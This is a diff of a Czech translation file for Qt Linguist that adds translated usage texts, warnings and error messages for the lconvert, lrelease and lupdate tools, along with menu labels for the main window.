+    --locations {absolute|relative|none}
+           Override how source code references are saved in TS files.
+           Default is absolute.
+
+    --no-ui-lines
+           Drop line numbers from references to UI files.
+
+    --verbose
+           be a bit more verbose
+
+Long options can be specified with only one leading dash, too.
+
+Return value:
+    0 on success
+    1 on command line parse failures
+    2 on read failures
+    3 on write failures
+
+        
+Použití:
+    lconvert [volby] <infile> [<infile>...]
+
+lconvert je částí řetězce nástrojů pro Qt Linguist. Lze jej používat jako samostatný
+nástroj na převádění a filtrování souborů s daty překladů.
+Jsou podporovány následující formáty souborů:
+
+%1
+Pokud je zadáno více vstupních souborů, jsou sloučeny s překlady
+z pozdějších souborů maje přednost.
+
+Volby:
+    -h
+    --help  Zobrazit tuto informaci a ukončit.
+
+    -i <infile>
+    --input-file <infile>
+           Zadejte vstupní soubor. Použijte, pokud <infile> může začít čárkou.
+           Tuto volbu lze použít několikrát ke sloučení vstupů.
+           Může být '-' (běžný vstup) pro použití v rouře.
+
+    -o <outfile>
+    --output-file <outfile>
+           Zadejte výstupní soubor. Výchozí je '-' (běžný vstup).
+
+    -if <informat>
+    --input-format <format>
+           Zadejte vstupní soubor pro subsequent <infile>s.
+           Formát je určen automaticky z názvu souboru a je výchozí pro 'ts'.
+
+    -of <outformat>
+    --output-format <outformat>
+           Zadejte výstupní soubor. Viz -if.
+
+    --input-codec <codec>
+           Zadat kódování pro vstupní soubory QM a PO. Výchozí je 'Latin1'
+           pro QM a 'UTF-8' pro PO files. UTF-8 se vždy zkouší i pro
+           QM, odpovídá možnému užití funkce trUtf8().
+
+    --output-codec <codec>
+           Zadejte kódování pro výstupní soubory PO. Výchozí je 'UTF-8'.
+
+    --drop-tags <regexp>
+           Smazat pojmenované značky navíc při zápisu souboru TS nebo XLIFF.
+           Může být zadáno opakovaně.
+
+    --drop-translations
+           Smazat stávající překlady a stav nastavit na 'unfinished'.
+           Poznámka: toto znamená --no-obsolete.
+
+    --source-language <language>[_<region>]
+           Zadat/Přepsat jazyk zdrojových řetězců. Výchozí pro
+           POSIX pokud není zadán a soubor jej ještě nejmenuje.
+
+    --target-language <language>[_<region>]
+           Zadat/Přepsat jazyk překladu.
+           Cílový jazyk je odhadnut z názvu souboru, pokud není tato volba zadána
+           a soubor ještě neobsahuje název jazyka.
+
+    --no-obsolete
+           Smazat zastaralé zprávy.
+
+    --no-finished
+           Smazat dokončené zprávy.
+
+    --sort-contexts
+           Řadit souvislosti ve výstupním souboru TS abecedně.
+
+    --locations {absolute|relative|none}
+           {absolutní|relativní|žádné}
+           Přepsat, jak jsou odkazy na zdrojový kód v souborech TS ukládány.
+           Výchozí je absolutní.
+
+    --no-ui-lines
+           Smazat čísla řádků z odkazů do souborů UI.
+
+    --verbose
+           Být trochu podrobnější
+
+Dlouhé volby lze také zadat jen s jednou čárkou na začátku.
+
+Návratová hodnota:
+    0 při úspěchu
+    1 při chybách ve zpracování v příkazovém řádku
+    2 při chybách ve čtení
+    3 při chybách v zápisu
+
+    
+
+
     LRelease
     
-        
         Dropped %n message(s) which had no ID.
         
             Byl smazán záznam bez identifikátoru.
@@ -321,7 +452,6 @@ Pracuje se s jednoduchým všeobecným tvarem.
         
     
     
-        
         Excess context/disambiguation dropped from %n message(s).
         
             U jednoho záznamu byla odstraněna přebytečná souvislost případně přebytečné zabránění dvojznačnosti (přebytečná informace k rozhodování).
@@ -330,10 +460,25 @@ Pracuje se s jednoduchým všeobecným tvarem.
         
     
     
-        
+            Generated %n translation(s) (%1 finished and %2 unfinished)
+        
+                Vytvořen jeden překlad (%1 dokončeno a %2 nedokončeno)
+                Vytvořeny %n překlady (%1 dokončeno a %2 nedokončeno)
+                Vytvořeno %n překladů (%1 dokončeno a %2 nedokončeno)
+        
+    
+    
+            Ignored %n untranslated source text(s)
+        
+                Opomenut jeden nepřeložený zdrojový text
+                Opomenuty %n nepřeložené zdrojové texty
+                Opomenuto %n nepřeložených zdrojových textů
+        
+    
+    
             Generated %n translation(s) (%1 finished and %2 unfinished)
 
-        
+        
                 Byl vytvořen jeden překlad (%1 dokončeno %2 nedokončeno)
 
                 Byly vytvořeny %n překlady (%1 dokončeno %2 nedokončeno)
@@ -343,10 +488,9 @@ Pracuje se s jednoduchým všeobecným tvarem.
         
     
     
-        
             Ignored %n untranslated source text(s)
 
-        
+        
                 Na jeden nepřeložený text nebyl brán zřetel
 
                 na %n nepřeložené texty nebyl brán zřetel
@@ -355,637 +499,1246 @@ Pracuje se s jednoduchým všeobecným tvarem.
 
         
     
+    
+        Usage:
+    lrelease [options] project-file
+    lrelease [options] ts-files [-qm qm-file]
+
+lrelease is part of Qt's Linguist tool chain. It can be used as a
+stand-alone tool to convert XML-based translations files in the TS
+format into the 'compiled' QM format used by QTranslator objects.
+
+Options:
+    -help  Display this information and exit
+    -idbased
+           Use IDs instead of source strings for message keying
+    -compress
+           Compress the QM files
+    -nounfinished
+           Do not include unfinished translations
+    -removeidentical
+           If the translated text is the same as
+           the source text, do not include the message
+    -markuntranslated <prefix>
+           If a message has no real translation, use the source text
+           prefixed with the given string instead
+    -silent
+           Do not explain what is being done
+    -version
+           Display the version of lrelease and exit
+
+        Použití:
+    lrelease [volby] projektový-soubor
+    lrelease [volby] ts-soubory [-qm qm-soubor]
+
+lrelease je částí řetězce nástrojů pro Qt Linguist. Lze jej používat jako samostatný
+nástroj na převádění na XML založených překladových souborů ve formátu TS
+do 'sestaveného' formátu QM používaného objekty QTranslator.
+
+Volby:
+    -help  Zobrazit tuto informaci a ukončit
+    -idbased
+           Použít ID namísto zdrojových řetězců pro klíčování zpráv
+    -compress
+           Zkomprimovat soubory QM
+    -nounfinished
+           Nezahrnovat nedokončené překlady
+    -removeidentical
+           Pokud je přeložený text stejný jako zdrojový text,
+           zprávu nezahrnovat
+    -markuntranslated <prefix>
+           Pokud překlad nemá skutečný překlad, použít namísto něj
+           zdrojový text předeslaný zadaným řetězcem
+    -silent
+           Nevysvětlovat, co se dělá
+    -version
+           Zobrazit verzi lrelease a ukončit
+
+    
+    
+        lrelease error: %1
+        Chyba při lrelease: %1
+    
+    
+        Updating '%1'...
+
+        Obnovuje se '%1'...
+
+    
+    
+        Removing translations equal to source text in '%1'...
+
+        Odstraňují se překlady totožné se zdrojovým textem v '%1'...
+    
+    
+        lrelease error: cannot create '%1': %2
+
+        Chyba při lrelease: nelze vytvořit '%1': %2
+
+    
+    
+        lrelease error: cannot save '%1': %2
+        Chyba při lrelease: nelze uložit '%1': %2
+
+    
+    
+        lrelease version %1
+
+        Verze lrelease %1
+
+    
+    
+        lrelease error: cannot read project file '%1'.
+
+        Chyba při lrelease: nelze přečíst soubor s projektem '%1'.
+
+    
+    
+        lrelease error: cannot process project file '%1'.
+
+        Chyba při lrelease: nelze zpracovat soubor s projektem '%1'.
+
+    
+    
+        lrelease warning: Met no 'TRANSLATIONS' entry in project file '%1'
+
+        Varování lrelease: V souboru s projektem '%1' nebyly nalezeny žádné záznamy s 'PŘEKLADY'
+
+    
+
+
+    LUpdate
+    
+        Parenthesis/bracket/brace mismatch between #if and #else branches; using #if branch
+
+        Neshoda v závorkách/kulatých závorkách/složených závorkách mezi větvemi #if a #else; používá se větev #if
+    
+    
+        Parenthesis/brace mismatch between #if and #else branches; using #if branch
+
+        Neshoda v závorkách/složených závorkách mezi větvemi #if a #else; používá se větev #if
+    
+    
+        Unterminated C++ comment
+
+        Neskončená poznámka C++
+
+    
+    
+        Unterminated C++ string
+
+        Neskončený řetězec C++
+
+    
+    
+        Excess closing brace in C++ code (or abuse of the C++ preprocessor)
+
+        Příliš mnoho zavírajících složených závorek v kódu C++ (nebo nesprávné použití preprocesoru C++)
+
+    
+    
+        Excess closing parenthesis in C++ code (or abuse of the C++ preprocessor)
+
+        Příliš mnoho zavírajících závorek v kódu C++ (nebo nesprávné použití preprocesoru C++)
+
+    
+    
+        Excess closing bracket in C++ code (or abuse of the C++ preprocessor)
+
+        Příliš mnoho zavírajících kulatých závorek v kódu C++ (nebo nesprávné použití preprocesoru C++)
+
+    
+    
+        circular inclusion of %1
+
+        Kruhové zařazení %1
+
+    
+    
+        Cannot open %1: %2
+
+        Nelze otevřít %1: %2
+
+    
+    
+        //% cannot be used with tr() / QT_TR_NOOP(). Ignoring
+
+        //% nelze použít s tr() / QT_TR_NOOP(). Přehlíží se
+
+    
+    
+        Qualifying with unknown namespace/class %1::%2
+
+        Blíže se vymezuje s neznámým jmenným prostorem/třídou %1::%2
+
+    
+    
+        tr() cannot be called without context
+
+        tr() nelze volat bez souvislosti
+
+    
+    
+        Class '%1' lacks Q_OBJECT macro
+
+        Třída '%1' postrádá makro Q_OBJECT
+
+    
+    
+        It is not recommended to call tr() from within a constructor '%1::%2'
+
+        Nedoporučuje se volat tr() zevnitř stavitele '%1::%2'
+
+    
+    
+        //% cannot be used with translate() / QT_TRANSLATE_NOOP(). Ignoring
+
+        //% nelze použít s translate() / QT_TRANSLATE_NOOP(). Přehlíží se
+
+    
+    
+        //= cannot be used with qtTrId() / QT_TRID_NOOP(). Ignoring
+
+        //= nelze použít s qtTrId() / QT_TRID_NOOP(). Přehlíží se
+
+    
+    
+        Unexpected character in meta string
+
+        Neočekávaný znak v meta řetězci
+
+    
+    
+        Unterminated meta string
+
+        Neskončený meta řetězec
+
+    
+    
+        Cannot invoke tr() like this
+
+        Nelze uplatnit tr() jako je tento
+
+    
+    
+        Discarding unconsumed meta data
+
+        Vyřazují se nestrávená metadata
+
+    
+    
+        Unbalanced opening brace in C++ code (or abuse of the C++ preprocessor)
+
+        Nevyvážené otevírající složené závorky v kódu C++ (nebo nesprávné použití preprocesoru C++)
+
+    
+    
+        Unbalanced opening parenthesis in C++ code (or abuse of the C++ preprocessor)
+
+        Nevyvážené otevírající závorky v kódu C++ (nebo nesprávné použití preprocesoru C++)
+
+    
+    
+        Unbalanced opening bracket in C++ code (or abuse of the C++ preprocessor)
+
+        Nevyvážené otevírající kulaté závorky v kódu C++ (nebo nesprávné použití preprocesoru C++)
+
+    
+    
+        Cannot open %1: %2
+        Nelze otevřít %1: %2
+    
+    
+        Unterminated Java comment.
+
+        Neskončená poznámka Java.
+
+    
+    
+        Invalid Unicode value.
+
+        Neplatná hodnota Unicode.
+
+    
+    
+        Unterminated string.
+
+        Neskončený řetězec.
+
+    
+    
+        String used in translation can contain only literals concatenated with other literals, not expressions or numbers.
+
+        Řetězec používaný v překladu může obsahovat pouze písmenka zřetězená jinými písmeny, nikoli výrazy nebo čísla.
+
+    
+    
+        'class' must be followed by a class name.
+
+        'class' musí být následována názvem třídy.
+
+    
+    
+        Excess closing brace.
+
+        Příliš mnoho zavírajících složených závorek.
+
+    
+    
+        'package' must be followed by package name.
+
+        'package' musí být následován názvem balíčku.
+
+    
+    
+        Unbalanced opening brace.
+
+        Nevyvážené otevírající složené závorky.
+
+    
+    
+        Unbalanced opening parenthesis.
+
+        Nevyvážené otevírající závorky.
+
+    
+    
+        Usage:
+    lupdate [options] [project-file]...
+    lupdate [options] [source-file|path|@lst-file]... -ts ts-files|@lst-file
+
+lupdate is part of Qt's Linguist tool chain. It extracts translatable
+messages from Qt UI files, C++, Java and JavaScript/QtScript source code.
+Extracted messages are stored in textual translation source files (typically
+Qt TS XML). New and modified messages can be merged into existing TS files.
+
+Options:
+    -help  Display this information and exit.
+    -no-obsolete
+           Drop all obsolete strings.
+    -extensions <ext>[,<ext>]...
+           Process files with the given extensions only.
+           The extension list must be separated with commas, not with whitespace.
+           Default: '%1'.
+    -pluralonly
+           Only include plural form messages.
+    -silent
+           Do not explain what is being done.
+    -no-sort
+           Do not sort contexts in TS files.
+    -no-recursive
+           Do not recursively scan the following directories.
+    -recursive
+           Recursively scan the following directories (default).
+    -I <includepath> or -I<includepath>
+           Additional location to look for include files.
+           May be specified multiple times.
+    -locations {absolute|relative|none}
+           Specify/override how source code references are saved in TS files.
+           Default is absolute.
+    -no-ui-lines
+           Do not record line numbers in references to UI files.
+    -disable-heuristic {sametext|similartext|number}
+           Disable the named merge heuristic. Can be specified multiple times.
+    -pro <filename>
+           Name of a .pro file. Useful for files with .pro file syntax but
+           different file suffix. Projects are recursed into and merged.
+    -source-language <language>[_<region>]
+           Specify the language of the source strings for new files.
+           Defaults to POSIX if not specified.
+    -target-language <language>[_<region>]
+           Specify the language of the translations for new files.
+           Guessed from the file name if not specified.
+    -ts <ts-file>...
+           Specify the output file(s). This will override the TRANSLATIONS
+           and nullify the CODECFORTR from possibly specified project files.
+    -codecfortr <codec>
+           Specify the codec assumed for tr() calls. Effective only with -ts.
+    -version
+           Display the version of lupdate and exit.
+    @lst-file
+           Read additional file names (one per line) from lst-file.
+
+        Použití:
+    lupdate [volby] [projektový-soubor]...
+    lupdate [volby] [zdrojový-soubor|cesta|@lst-soubor]... -ts ts-soubory|@lst-soubor
+
+lupdate je částí řetězce nástrojů pro Qt Linguist. Vytahuje překládatelné zprávy
+ze souborů pro uživatelské rozhraní (UI) Qt UI, C++, Java a JavaScript/QtScript zdrojového kódu.
+Vytažené zprávy jsou ukládány do textových překladových zdrojových souborů (typicky
+Qt TS XML). Nové a změněné zprávy lze sloučit se stávajícími soubory TS.
+
+Volby:
+    -help  Display this information and exit.
+    -no-obsolete
+           Drop all obsolete strings.
+    -extensions <ext>[,<ext>]...
+           Process files with the given extensions only.
+           The extension list must be separated with commas, not with whitespace.
+           Default: '%1'.
+    -pluralonly
+           Only include plural form messages.
+    -silent
+           Do not explain what is being done.
+    -no-sort
+           Do not sort contexts in TS files.
+    -no-recursive
+           Do not recursively scan the following directories.
+    -recursive
+           Recursively scan the following directories (default).
+    -I <includepath> or -I<includepath>
+           Additional location to look for include files.
+           May be specified multiple times.
+    -locations {absolute|relative|none}
+           Specify/override how source code references are saved in TS files.
+           Default is absolute.
+    -no-ui-lines
+           Do not record line numbers in references to UI files.
+    -disable-heuristic {sametext|similartext|number}
+           Disable the named merge heuristic. Can be specified multiple times.
+    -pro <filename>
+           Name of a .pro file. Useful for files with .pro file syntax but
+           different file suffix. Projects are recursed into and merged.
+    -source-language <language>[_<region>]
+           Specify the language of the source strings for new files.
+           Defaults to POSIX if not specified.
+    -target-language <language>[_<region>]
+           Specify the language of the translations for new files.
+           Guessed from the file name if not specified.
+    -ts <ts-file>...
+           Specify the output file(s). This will override the TRANSLATIONS
+           and nullify the CODECFORTR from possibly specified project files.
+    -codecfortr <codec>
+           Specify the codec assumed for tr() calls. Effective only with -ts.
+    -version
+           Display the version of lupdate and exit.
+    @lst-file
+           Read additional file names (one per line) from lst-file.
+
+    
+    
+        lupdate warning: Codec for tr() '%1' disagrees with existing file's codec '%2'. Expect trouble.
+
+        Varování lupdate: Kodek pro tr() '%1' nesouhlasí se stávajícím kodekem souboru '%2'. Dají se očekávat potíže.
+
+    
+    
+        lupdate warning: Specified target language '%1' disagrees with existing file's language '%2'. Ignoring.
+
+        Varování lupdate: Zadaný cílový jazyk '%1' nesouhlasí se stávajícím jazykem souboru '%2'. Přehlíží se.
+
+    
+    
+        lupdate warning: Specified source language '%1' disagrees with existing file's language '%2'. Ignoring.
+
+        Varování lupdate: Zadaný zdrojový jazyk '%1' nesouhlasí se stávajícím jazykem souboru '%2'. Přehlíží se.
+
+    
+    
+        Updating '%1'...
+
+        Obnovuje se '%1'...
+
+    
+    
+        Stripping non plural forms in '%1'...
+
+        Odkrývají se tvary, které nejsou množným číslem v '%1'...
+
+    
+    
+        lupdate warning: Codec for source '%1' is invalid. Falling back to codec for tr().
+
+        Varování lupdate: Kodek pro zdroj '%1' je neplatný. Ustupuje se ke kodeku pro tr().
+
+    
+    
+        lupdate warning: TS files from command line will override TRANSLATIONS in %1.
+
+        Varování lupdate: Soubory TS z příkazového řádku dostanou přednost před PŘEKLADY v %1.
+
+    
+    
+        lupdate warning: TS files from command line prevent recursing into %1.
+
+        Varování lupdate: Soubory TS z příkazového řádku zabrání uchýlení se k %1.
+
+    
+    
+        lupdate warning: no TS files specified. Only diagnostics will be produced for '%1'.
+
+        Varování lupdate: Nezadány žádné soubory TS. Pro '%1' bude vytvořena pouze diagnostika.
+
+    
+    
+        The option -target-language requires a parameter.
+
+        Volba -target-language vyžaduje parametr.
+
+    
+    
+        The option -source-language requires a parameter.
+
+        Volba -source-language vyžaduje parametr.
+
+    
+    
+        The option -disable-heuristic requires a parameter.
+
+        Volba -disable-heuristic vyžaduje parametr.
+
+    
+    
+        Invalid heuristic name passed to -disable-heuristic.
+
+        Volbě -disable-heuristic podán neplatný heuristický název.
+
+    
+    
+        The option -locations requires a parameter.
+
+        Volba -locations vyžaduje parametr.
+
+    
+    
+        Invalid parameter passed to -locations.
+
+        Volbě -locations podán neplatný parametr.
+
+    
+    
+        The -codecfortr option should be followed by a codec name.
+
+        Volba -codecfortr by měla být následována názvem kodeku.
+
+    
+    
+        The -extensions option should be followed by an extension list.
+
+        Volba -extensions by měla být následována seznamem přípon.
+
+    
+    
+        The -pro option should be followed by a filename of .pro file.
+
+        Volba -pro by měla být následována souborovým názvem souboru .pro.
+
+    
+    
+        The -I option should be followed by a path.
+
+        Volba -l by měla být následována cestou.
+
+    
+    
+        Unrecognized option '%1'.
+
+        Nerozpoznaná volba '%1'.
+
+    
+    
+        lupdate error: List file '%1' is not readable.
+
+        Chyba při lupdate: Soubor seznamu '%1' není čitelný.
+
+    
+    
+        lupdate warning: For some reason, '%1' is not writable.
+
+        Varování lupdate: Z nějakého důvodu není '%1' zapisovatelný.
+
+    
+    
+        lupdate error: File '%1' has no recognized extension.
+
+        Chyba při lupdate: Soubor '%1' nemá žádnou rozpoznanou příponu.
+
+    
+    
+        lupdate error: File '%1' does not exist.
+
+        Chyba při lupdate: Soubor '%1' není.
+
+    
+    
+        Scanning directory '%1'...
+
+        Prohledává se adresář '%1'...
+
+    
+    
+        lupdate warning: -target-language usually only makes sense with exactly one TS file.
+
+        Varování lupdate: Volba -target-language obvykle dává smysl jen s přesně jedním souborem TS.
+
+    
+    
+        lupdate warning: -codecfortr has no effect without -ts.
+
+        Varování lupdate: Volba -codecfortr nemá bez -ts žádný účinek.
+
+    
+    
+        lupdate warning: no TS files specified. Only diagnostics will be produced.
+
+        Varování lupdate: Nezadán žádný soubor TS. Bude vytvořena pouze diagnostika.
+
+    
+    
+        lupdate error: Both project and source files / include paths specified.
+
+        Chyba při lupdate: Zadány jak projektový tak zdrojový soubor/zahrnout cesty.
+
+    
+    
+            Found %n source text(s) (%1 new and %2 already existing)
+
+        
+                Nalezen jeden zdrojový text (%1 nový a %2 již existující)
+
+                Nalezeny %n zdrojové texty (%1 nové a %2 již existující)
+
+                Nalezeno %n zdrojových textů (%1 nových a %2 již existujících)
+
+        
+    
+    
+            Removed %n obsolete entries
+
+        
+                Odstraněn jeden zastaralý záznam
+
+                Odstraněny %n zastaralé záznamy
+
+                Odstraněno %n zastaralých záznamů
+
+        
+    
+    
+            Kept %n obsolete entries
+
+        
+                Zachován jeden zastaralý záznam
+
+                Zachovány %n zastaralé záznamy
+                Zachováno %n zastaralých záznamů
+        
+    
+    
+            Number heuristic provided %n translation(s)
+
+        
+                Číselná heuristika poskytla jeden překlad
+
+                Číselná heuristika poskytla %n překlady
+
+                Číselná heuristika poskytla %n překladů
+
+        
+    
+    
+            Same-text heuristic provided %n translation(s)
+
+        
+                Heuristika se shodnými texty poskytla jeden překlad
+                Heuristika se shodnými texty poskytla %n překlady
+                Heuristika se shodnými texty poskytla %n překladů
+        
+    
+    
+            Similar-text heuristic provided %n translation(s)
+
+        
+                Heuristika s podobnými texty poskytla jeden překlad
+                Heuristika s podobnými texty poskytla %n překlady
+                Heuristika s podobnými texty poskytla %n překladů
+        
+    
+    
+        Illegal character
+        Neplatný znak
+    
+    
+        Unclosed string at end of line
+        Neuzavřený řetězec na konci řádku
+    
+    
+        Illegal escape squence
+        Neplatná úniková posloupnost
+    
+    
+        Illegal unicode escape sequence
+        Neplatná úniková posloupnost unicode
+    
+    
+        Unclosed comment at end of file
+        Neuzavřená poznámka na konci souboru
+    
+    
+        Illegal syntax for exponential number
+        Neplatná skladba exponenciálního čísla
+    
+    
+        Identifier cannot start with numeric literal
+        Identifikátor nemůže začínat s číselným písmenem
+    
+    
+        Unterminated regular expression literal
+        Neskončený regulární výraz
+    
+    
+        //% cannot be used with %1(). Ignoring
+
+        //% nelze použít s %1(). Přehlíží se
+
+    
+    
+        %1() requires at least two arguments.
+
+        %1() vyžaduje alespoň dva argumenty.
+
+    
+    
+        %1(): both arguments must be literal strings.
+
+        %1(): oba argumenty musí být písmennými řetězci.
+
+    
+    
+        %1() requires at least one argument.
+
+        %1() vyžaduje alespoň jeden argument.
+
+    
+    
+        %1(): text to translate must be a literal string.
+
+        %1(): text k překladu musí být písmenný řetězec.
+
+    
+    
+        //= cannot be used with %1(). Ignoring
+
+        //= nelze použít s %1(). Přehlíží se
+
+    
+    
+        %1(): identifier must be a literal string.
+
+        %1(): identifikátor musí být písmenný řetězec.
+
+    
+    
+        Expected 
+        Beginning of the string that contains comma-separated list of expected tokens
+        Očekáváno 
+    
+    
+        XML error: Parse error at line %1, column %2 (%3).
+        Chyba v XML: Chyba při zpracování na řádku %1, ve sloupci %2 (%3).
+    
+    
+        Parse error in UI file
+        Chyba při zpracování v souboru UI
+    
 
 
     MainWindow
     
-        
         MainWindow
         Hlavní okno
     
     
-        
         &Phrases
         &Slovníky
     
     
-        
         &Close Phrase Book
         &Zavřít slovník
     
     
-        
         &Edit Phrase Book
         &Upravit slovník
     
     
-        
         &Print Phrase Book
         &Vytisknout slovník
     
     
-        
         V&alidation
         &Schválení
     
     
-        
         &View
         &Pohled
     
     
-        
         Vie&ws
         Po&hledy
     
     
-        
         &Toolbars
         &Nástrojové lišty
     
     
-        
         &Help
         &Nápověda
     
     
-        
         &Translation
         &Překlad
     
     
-        
         &File
         &Soubor
     
     
-        
         &Edit
         Ú&pravy
     
     
-        
         &Open...
         &Otevřít...
     
     
-        
         Open a Qt translation source file (TS file) for editing
         Otevřít Qt zdrojový soubor s překladem (soubor TS) pro úpravy
     
     
-        
         Ctrl+O
         Ctrl+O
     
     
-        
         E&xit
         &Ukončit
     
     
-        
         Close this window and exit.
         Toto okno zavřít a ukončit.
     
     
-        
         Ctrl+Q
         Ctrl+Q
     
     
-        
-        
         &Save
         &Uložit
     
     
-        
         Save changes made to this Qt translation source file
         Uložit změny provedené v tomto Qt zdrojovém souboru s překladem
     
     
-        
         Move to the previous unfinished item.
         Jít na předchozí nevyřízený záznam.
     
     
-        
         Move to the next unfinished item.
         Jít na další nevyřízený záznam.
     
     
-        
         Move to the previous item.
         Jít na předchozí záznam.
     
     
-        
         Move to the next item.
         Jít na další záznam.
     
     
-        
         Mark this item as done and move to the next unfinished item.
         Označit tento záznam jako hotový a jít na další nevyřízený záznam.
     
     
-        
         Copy from source text
         Převzít zdrojový text
     
     
-        
         Toggle the validity check of accelerators, i.e. whether the number of ampersands in the source and translation text is the same. If the check fails, a message is shown in the warnings window.
         Zapnout/Vypnout ověření akcelerátorů, to znamená, zda se shoduje počet znaků obchodnického -A (&) ve zdrojovém textu a v textu překladu. V případě neúspěchu se v okně s upozorněními ukáže zpráva s varováním.
     
     
-        
         Toggle the validity check of ending punctuation. If the check fails, a message is shown in the warnings window.
         Zapnout/Vypnout ověření znaku na konci věty na konci textu. V případě neúspěchu se v okně s upozorněními ukáže zpráva s varováním.
     
     
-        
         Toggle checking that phrase suggestions are used. If the check fails, a message is shown in the warnings window.
         Zapnout/Vypnout ověření použití návrhů slovníku. V případě neúspěchu se v okně s upozorněními ukáže zpráva s varováním.
     
     
-        
         Toggle the validity check of place markers, i.e. whether %1, %2, ... are used consistently in the source text and translation text. If the check fails, a message is shown in the warnings window.
         Zapnout/Vypnout ověření držitelů místa, to znamená, zda se shoduje používání %1, %2,... ve zdrojovém textu a v textu překladu. V případě neúspěchu se v okně s upozorněními ukáže zpráva s varováním.
     
     
-        
         Open Read-O&nly...
         Otevřít pouze &pro čtení...
     
     
-        
         &Save All
         &Uložit vše
     
     
-        
         Ctrl+S
         Ctrl+S
     
     
-        
-        
-        
         Save &As...
         Uložit &jako...
     
     
-        
         Save As...
         Uložit jako...
     
     
-        
         Save changes made to this Qt translation source file into a new file.
         Uložit změny provedené v tomto Qt zdrojovém souboru s překladem do nového souboru.
     
     
-        
         &Release
         &Vydat
     
     
-        
         Create a Qt message file suitable for released applications from the current message file.
         Vytvořit Qt soubor se zprávami vhodný pro vydané aplikace (soubor QM) ze současného souboru s překladem.
     
     
-        
         &Print...
         &Tisk...
     
     
-        
         Ctrl+P
         Ctrl+P
     
     
-        
         &Undo
         &Zpět
     
     
-        
         Recently Opened &Files
         Naposledy upravované sou&bory
     
     
-        
         Save
         Uložit
     
     
-        
         Print a list of all the translation units in the current translation source file.
         Vytisknout seznam se všemi překladovými jednotkami v současném zdrojovém souboru s překladem.
     
     
-        
         Undo the last editing operation performed on the current translation.
         Poslední změnu provedenou v současném překladu vrátit zpět.
     
     
-        
         Ctrl+Z
         Ctrl+Z
     
     
-        
         &Redo
         &Znovu
     
     
-        
         Redo an undone editing operation performed on the translation.
         Poslední zpět vrácenou změnu v překladu provést znovu.
     
     
-        
         Ctrl+Y
         Ctrl+Y
     
     
-        
         Cu&t
         &Vyjmout
     
     
-        
         Copy the selected translation text to the clipboard and deletes it.
         Zkopírovat vybraný text s překladem do schránky a smazat jej.
     
     
-        
         Ctrl+X
         Ctrl+X
     
     
-        
         &Copy
         &Kopírovat
     
     
-        
         Copy the selected translation text to the clipboard.
         Zkopírovat vybraný text s překladem do schránky.
     
     
-        
         Ctrl+C
         Ctrl+C
     
     
-        
         &Paste
         &Vložit
     
     
-        
         Paste the clipboard text into the translation.
         Vložit text ze schránky do překladu.
     
     
-        
         Ctrl+V
         Ctrl+V
     
     
-        
         Select &All
         Vybrat &vše
     
     
-        
         Select the whole translation text.
         Vybrat celý text s překladem.
     
     
-        
         Ctrl+A
         Ctrl+A
     
     
-        
         &Find...
         &Hledat...
     
     
-        
         Search for some text in the translation source file.
         Hledat text v souboru s překladem.
     
     
-        
         Ctrl+F
         Ctrl+F
     
     
-        
         Find &Next
         Hledat &dál
     
     
-        
         Continue the search where it was left.
         Pokračovat v hledání.
     
     
-        
         F3
         F3
     
     
-        
         &Prev Unfinished
         &Předchozí nevyřízený
     
     
-        
         Close
         Zavřít
     
     
-        
         &Close All
         &Zavřít vše
     
     
-        
         Ctrl+W
         Ctrl+W
     
     
-        
         Ctrl+K
         Ctrl+K
     
     
-        
         &Next Unfinished
         &Další nevyřízený
     
     
-        
         P&rev
         Před&chozí
     
     
-        
         Ctrl+Shift+K
         Ctrl+Shift+K
     
     
-        
         Ne&xt
         Da&lší
     
     
-        
         &Done and Next
         &Hotovo a další
     
     
-        
         Copies the source text into the translation field.
         Kopíruje zdrojový text do pole s překladem.
     
     
-        
         Ctrl+B
         Ctrl+B
     
     
-        
         &Accelerators
         &Akcelerátory
     
     
-        
         &Ending Punctuation
         &Interpunkce na konci
     
     
-        
         &Phrase matches
         &Slovník
     
     
-        
         Place &Marker Matches
         Držitel &místa
     
     
-        
         &New Phrase Book...
         &Nový slovník...
     
     
-        
         Create a new phrase book.
         Vytvořit nový slovník.
     
     
-        
         Ctrl+N
         Ctrl+N
     
     
-        
         &Open Phrase Book...
         &Otevřít slovník...
     
     
-        
         Open a phrase book to assist translation.
         Otevřít slovník kvůli podpoře při překladu.
     
     
-        
         Ctrl+H
         Ctrl+H
     
     
-        
         &Reset Sorting
         Řazení &vrátit zpět
     
     
-        
         Sort the items back in the same order as in the message file.
         Seřadit záznamy ve stejném pořadí jako v původním souboru s překladem.
     
     
-        
         &Display guesses
         Ukázat &návrhy
     
     
-        
         Set whether or not to display translation guesses.
         Zapnout/Vypnout zobrazení návrhů k překladu.
     
     
-        
         &Statistics
         S&tatistika
     
     
-        
         Display translation statistics.
         Ukázat statistiku k překladu.
     
     
-        
         &Manual
         &Příručka
     
     
-        
         F1
         F1
     
     
-        
         About Qt Linguist
         O Qt Linguistu
     
     
-        
         About Qt
         O Qt
     
     
-        
         Display information about the Qt toolkit by Trolltech.
-        Zobrazit informace o sadě nástrojů Qt od Trolltechu.
+        Zobrazit informace o sadě nástrojů Qt od Trolltechu.
     
     
-        
         &What's This?
         &Copak je asi toto?
     
     
-        
         What's This?
         Copak je asi toto?
     
     
-        
         Enter What's This? mode.
         Zapnout režim "Copak je asi toto?".
     
     
-        
         Shift+F1
         Shift+F1
     
     
-        
         &Search And Translate...
         Hledat a &překládat...
     
     
-        
         Replace the translation on all entries that matches the search source text.
         Nahradit překlad u všech záznamů, které odpovídají hledanému textu.
     
     
-        
-        
         &Batch Translation...
         &Automatický překlad...
     
     
-        
         Batch translate all entries using the information in the phrase books.
         Automaticky přeložit všechny záznamy s pomocí slovníků.
     
     
-        
-        
-        
         Release As...
         Vydat jako...
     
     
-        
         
         This is the application's main window.
         
     
     
-        
         Source text
         Zdrojový text
     
     
-        
-        
         Index
         Rejstřík
     
     
-        
-        
         Context
         Souvislosti
     
     
-        
         Items
         Záznamy
     
     
-        
         This panel lists the source contexts.
         V tomto panelu jsou ukazovány souvislosti.
     
     
-        
         Strings
         Řetězce
     
     
-        
         Phrases and guesses
         Slovník a návrhy
     
     
-        
         Sources and Forms
         Zdrojové soubory a formuláře
     
     
-        
         Warnings
         Upozornění
     
     
-        
          MOD 
         status bar: file(s) modified
         Změněno
     
     
-        
         Loading...
         Nahrává se...
     
     
-        
-        
         Loading File - Qt Linguist
         Nahrává se soubor - Qt Linguist
     
     
-        
         The file '%1' does not seem to be related to the currently open file(s) '%2'.
 
 Close the open file(s) first?
@@ -994,7 +1747,6 @@ Close the open file(s) first?
 Zavřít nejprve již otevřený soubor(y)?
     
     
-        
